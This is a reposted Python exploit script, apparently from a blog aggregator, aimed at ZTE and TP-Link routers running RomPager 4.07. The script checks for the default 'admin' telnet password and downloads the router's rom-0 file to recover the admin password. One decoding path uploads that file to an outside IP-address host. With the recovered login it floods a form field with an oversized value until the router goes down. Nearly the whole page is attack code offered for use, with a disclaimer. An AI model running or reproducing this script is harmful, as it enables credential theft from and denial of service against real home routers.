zoukankan      html  css  js  c++  java
  • ZTE and TP-Link RomPager

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
     
    # Exploit Title: ZTE and TP-Link RomPager DoS Exploit
    # Date: 10-05-2014
    # Server Version: RomPager/4.07 UPnP/1.0
    # Tested Routers:   ZTE ZXV10 W300
    #                   TP-Link TD-W8901G
    #                   TP-Link TD-W8101G
    #                   TP-Link TD-8840G
    # Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0
    # Tested on: Kali Linux x86
    #
    # Notes:    Please note this exploit may contain errors, and
    #           is provided "as it is". There is no guarantee
    #           that it will work on your target router(s), as
    #           the code may have to be adapted.
    #           This is to avoid script kiddie abuse as well.
    #
    # Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
    #             Author takes no responsibility for any kind of damage you cause.
    #
    # Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
    #
    # Original write-up: https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/
    # Video: https://www.youtube.com/watch?v=1fSECo2ewoo
    # Dedicate to Nick Knight and Hood3dRob1n
    # 
    # ./dos.py -i 192.168.1.1
     
    import os
    import re
    import sys
    import time
    import urllib
    import base64
    import httplib
    import urllib2
    import requests
    import optparse
    import telnetlib
    import subprocess
    import collections
    import unicodedata
      
    class BitReader:
         
        def __init__(self, bytes):
            self._bits = collections.deque()
             
            for byte in bytes:
                byte = ord(byte)
                for n in xrange(8):
                    self._bits.append(bool((byte >> (7-n)) & 1))
                 
        def getBit(self):
            return self._bits.popleft()
             
        def getBits(self, num):
            res = 0
            for i in xrange(num):
                res += self.getBit() << num-1-i
            return res
             
        def getByte(self):
            return self.getBits(8)
             
        def __len__(self):
            return len(self._bits)
             
    class RingList:
         
        def __init__(self, length):
            self.__data__ = collections.deque()
            self.__full__ = False
            self.__max__ = length
      
        def append(self, x):
            if self.__full__:
                self.__data__.popleft()
            self.__data__.append(x)
            if self.size() == self.__max__:
                self.__full__ = True
      
        def get(self):
            return self.__data__
      
        def size(self):
            return len(self.__data__)
      
        def maxsize(self):
            return self.__max__
             
        def __getitem__(self, n):
            if n >= self.size():
                return None
            return self.__data__[n]
     
    def filter_non_printable(str):
      return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9])
     
     
    def banner():
        return '''
     
    		    _/_/_/                _/_/_/  
    		   _/    _/    _/_/    _/         
    		  _/    _/  _/    _/    _/_/      
    		 _/    _/  _/    _/        _/     
    		_/_/_/      _/_/    _/_/_/        
                                
     '''                         
    def dos(host, password):
        while (1):
            url = 'http://' +host+ '/Forms/tools_test_1'
            parameters = {
            'Test_PVC'          :   'PVC0',
            'PingIPAddr'        :   '101'*2000,
            'pingflag'          :   '1',
            'trace_open_flag'   :   '0',
            'InfoDisplay'       :   '+-+Info+-%0D%0A'
            }
             
            params = urllib.urlencode(parameters)
             
            req = urllib2.Request(url, params)
            base64string = base64.encodestring('%s:%s' % ('admin', password)).replace('
    ', '')
            req.add_header("Authorization", "Basic %s" %base64string)
            req.add_header("Content-type", "application/x-www-form-urlencoded")
            req.add_header("Referer", "http://" +host+ "/maintenance/tools_test.htm")
            try:
                    print '[~] Sending Payload'
                    response = urllib2.urlopen(req, timeout=1)
                    sys.exit(0)
                 
            except:
                flag = checkHost(host)
                if flag == 0:
                    print '[+] The host is still up and running'
                else:
                    print '[~] Success! The host is down'
                    sys.exit(0)
                    break
     
    def checkHost(host):
        if sys.platform == 'win32':
            c = "ping -n 2 " + host
        else:
            c = "ping -c 2 " + host
     
        try:
            x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
            time.sleep(1)
            return x
             
        except:
            pass
     
    def checkServer(host):
        connexion = httplib.HTTPConnection(host)
        connexion.request("GET", "/status.html")
        response = connexion.getresponse()
        server = response.getheader("server")
        connexion.close()
        time.sleep(2)
        if server == 'RomPager/4.07 UPnP/1.0':
            return 0
        else:
            return 1
     
    def checkPassword(host):
        print '[+] Checking for default password'
        defaultpass = 'admin'
        tn = telnetlib.Telnet(host, 23, 4)
        tn.read_until("Password: ")
        tn.write(defaultpass + '
    ')
        time.sleep(2)
        banner = tn.read_eager()
        banner = regex(len(defaultpass)*r'.'+'w+' , banner)
        tn.write("exit
    ")
        tn.close()
        time.sleep(4)
        if banner == 'Copyright':
            print '[+] Default password is being used'
            dos(host, defaultpass)
        else:
            print '[!] Default Password is not being used'
        while True:
            msg = str(raw_input('[?] Decrypt the rom-0 file locally? ')).lower()
            try:
                if msg[0] == 'y':
                    password = decodePasswordLocal(host)
                    print '[*] Router password is: ' +password
                    dos(host, password)
                    break                  
                if msg[0] == 'n':
                    password = decodePasswordRemote(host)
                    print '[*] Router password is: ' +password
                    dos(host, password)
                    break
                else:
                    print '[!] Enter a valid choice'
            except Exception, e:
                    print e
                    continue
             
     
    def decodePasswordRemote(host):
        fname = 'rom-0'
        if os.path.isfile(fname) == True:
            os.remove(fname)
        urllib.urlretrieve ("http://"+host+"/rom-0", fname)
        # If this URL goes down you might have to find one and change this function.
        # You can also use the local decoder. It might have few errors in getting output.
        url = 'http://198.61.167.113/zynos/decoded.php'                # Target URL
        files = {'uploadedfile': open('rom-0', 'rb') }                 # The rom-0 file we wanna upload
        data = {'MAX_FILE_SIZE': 1000000, 'submit': 'Upload rom-0'}    # Additional Parameters we need to include
        headers = { 'User-agent' : 'Python Demo Agent v1' }            # Any additional Headers you want to send or include
     
        res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False )
        res1 =res.content
        p = re.search('rows=10>(.*)', res1)
        if p:
            passwd = found = p.group(1)
        else:
            password = 'NotFound'
        return passwd
     
    def decodePasswordLocal(host):
        # Sometimes this might output a wrong password while finding the exact string.
        # print the result as mentioned below and manually find out
        fname = 'rom-0'
        if os.path.isfile(fname) == True:
            os.remove(fname)
        urllib.urlretrieve ("http://"+host+"/rom-0", fname)
        fpos=8568
        fend=8788
        fhandle=file('rom-0')
        fhandle.seek(fpos)
        chunk="*"
        amount=221
        while fpos < fend:
            if fend-fpos < amount:
                amount = amount
                data = fhandle.read(amount)
                fpos += len(data)
                 
        reader = BitReader(data)
        result = ''
            
        window = RingList(2048)
             
        while True:
            bit = reader.getBit()
            if not bit:
                char = reader.getByte()
                result += chr(char)
                window.append(char)
            else:
                bit = reader.getBit()
                if bit:
                    offset = reader.getBits(7)
                    if offset == 0:
                        break
                else:
                    offset = reader.getBits(11)
                 
                lenField = reader.getBits(2)
                if lenField < 3:
                    lenght = lenField + 2
                else:
                    lenField <<= 2
                    lenField += reader.getBits(2)
                    if lenField < 15:
                        lenght = (lenField & 0x0f) + 5
                    else:
                        lenCounter = 0
                        lenField = reader.getBits(4)
                        while lenField == 15:
                            lenField = reader.getBits(4)
                            lenCounter += 1
                        lenght = 15*lenCounter + 8 + lenField
                 
                for i in xrange(lenght):
                    char = window[-offset]
                    result += chr(char)
                    window.append(char)
     
        result = filter_non_printable(result).decode('unicode_escape').encode('ascii','ignore')
        # In case the password you see is wrong while filtering, manually print it from here and findout.
        #print result
        if 'TP-LINK' in result:
            result = ''.join(result.split()).split('TP-LINK', 1)[0] + 'TP-LINK';
            result = result.replace("TP-LINK", "")
            result = result[1:]
     
        if 'ZTE' in result:
            result = ''.join(result.split()).split('ZTE', 1)[0] + 'ZTE';
            result = result.replace("ZTE", "")
            result = result[1:]
     
        if 'tc160' in result:
            result = ''.join(result.split()).split('tc160', 1)[0] + 'tc160';
            result = result.replace("tc160", "")
            result = result[1:]
        return result
         
    def regex(path, text):
        match = re.search(path, text)
        if match:
            return match.group()
        else:
            return None
     
    def main():
        if sys.platform == 'win32':
            os.system('cls')
        else:
            os.system('clear')
        try:
            print banner()
            print '''
    |=--------=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=-------=|
    
    [*] Author: Osanda Malith Jayathissa
    [*] Follow @OsandaMalith
    [!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
    [!] Author takes no responsibility for any kind of damage you cause.
     
        '''
            parser = optparse.OptionParser("usage: %prog -i <IP Address> ")
            parser.add_option('-i', dest='host',
                                type='string', 
                                help='Specify the IP to attack')
            (options, args) = parser.parse_args()
             
            if options.host is None:
                parser.print_help()
                exit(-1)
     
            host = options.host
            x = checkHost(host)
     
            if x == 0:
                print '[+] The host is up and running'
                server = checkServer(host)
                if server == 0:
                    checkPassword(host)
                else:
                    print ('[!] Sorry the router is not running RomPager')
            else:
                print '[!] The host is not up and running'
                sys.exit(0)
     
        except KeyboardInterrupt:
            print '[!] Ctrl + C detected
    [!] Exiting'
            sys.exit(0)
        except EOFError:
            print '[!] Ctrl + D detected
    [!] Exiting'
            sys.exit(0)
     
    if __name__ == "__main__":
        main() 
    #EOF
    
  • 相关阅读:
    [CEOI2008] order
    Atcoder 2373 Cookie Exchanges
    [POI2011]ROT-Tree Rotations
    bzoj 5216: [Lydsy2017省队十连测]公路建设
    bzoj 5215: [Lydsy2017省队十连测]商店购物
    Codeforces 961 E Tufurama
    [九省联考2018] 秘密袭击coat
    Codeforces 961 D Pair Of Lines
    [八省联考2018] 劈配
    [九省联考2018]一双木棋chess
  • 原文地址:https://www.cnblogs.com/microzone/p/3792669.html
Copyright © 2011-2022 走看看